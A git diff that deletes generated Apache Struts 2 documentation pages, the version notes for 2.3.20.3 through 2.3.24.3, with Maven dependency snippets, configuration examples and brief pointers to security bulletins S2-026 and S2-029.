-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.20.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693270">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693270">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693270">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693270">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693270">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693270">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.20.3 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.20.3&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.20.3-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution, read more details in&#160;<a shape="rect" href="s2-029.html">S [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2324.html b/content/docs/version-notes-2324.html
deleted file mode 100644
index 1069fd5..0000000
--- a/content/docs/version-notes-2324.html
+++ /dev/null
@@ -1,198 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.24</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2324.html">Version Notes 2.3.24</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.24</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=50857454">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=50857454">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=50857454">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=50857454">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=50857454">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=50857454">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.24 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.24&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.24-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;fixed flow in&#160;<code>DefaultActionInvocation</code> and when using the&#160;<a shape="rect" href="convention-plugin.html">Convention Plugin</a>, see&#160;<a shape="rect" class="e [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;interceptor-stack name="myDefaultStack"&gt;
-    &lt;interceptor-ref name="exception"/&gt;
-    &lt;interceptor-ref name="alias"/&gt;
-    &lt;interceptor-ref name="servletConfig"/&gt;
-    &lt;interceptor-ref name="i18n"/&gt;
-    &lt;interceptor-ref name="prepare"/&gt;
-    &lt;interceptor-ref name="chain"/&gt;
-    &lt;interceptor-ref name="scopedModelDriven"/&gt;
-    &lt;interceptor-ref name="modelDriven"/&gt;
-    &lt;interceptor-ref name="fileUpload"/&gt;
-    &lt;interceptor-ref name="checkbox"/&gt;
-    &lt;interceptor-ref name="datetime"/&gt;
-    &lt;interceptor-ref name="multiselect"/&gt;
-    &lt;interceptor-ref name="staticParams"/&gt;
-    &lt;interceptor-ref name="actionMappingParams"/&gt;
-    &lt;interceptor-ref name="params"/&gt;
-    &lt;interceptor-ref name="conversionError"/&gt;
-    &lt;interceptor-ref name="validation"&gt;
-        &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name="workflow"&gt;
-        &lt;param name="excludeMethods"&gt;input,back,cancel,browse&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name="debugging"/&gt;
-    &lt;interceptor-ref name="deprecation"/&gt;
-&lt;/interceptor-stack&gt;</pre>
-</div></div><p>and define the following constant in&#160;<code>struts.xml</code></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.additional.excludedPatterns" value="^(action|method):.*"/&gt;</pre>
-</div></div><h3 id="VersionNotes2.3.24-IssueDetail">Issue Detail</h3><ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?version=12331974&amp;projectId=12311041">JIRA Release Notes 2.3.24</a></li></ul><h3 id="VersionNotes2.3.24-IssueList">Issue List</h3><ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12330045">Struts 2.3.24 DONE</a></li><li><a shape="rect" class="external-link" href=" [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23241.html b/content/docs/version-notes-23241.html
deleted file mode 100644
index d36e796..0000000
--- a/content/docs/version-notes-23241.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.24.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23241.html">Version Notes 2.3.24.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.24.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61320191">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61320191">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61320191">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61320191">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61320191">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61320191">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.24.1 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.24.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.24.1-InternalChanges">Internal Changes</h2><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This release contains fix related to <a shape="rect" href="s2-026.html">S2-026</a> security bulletin, please read it carefully!</p></div></div><div class="confluence-information-macro con [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23243.html b/content/docs/version-notes-23243.html
deleted file mode 100644
index 189a507..0000000
--- a/content/docs/version-notes-23243.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.24.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23243.html">Version Notes 2.3.24.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.24.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693272">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693272">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693272">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693272">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693272">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693272">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
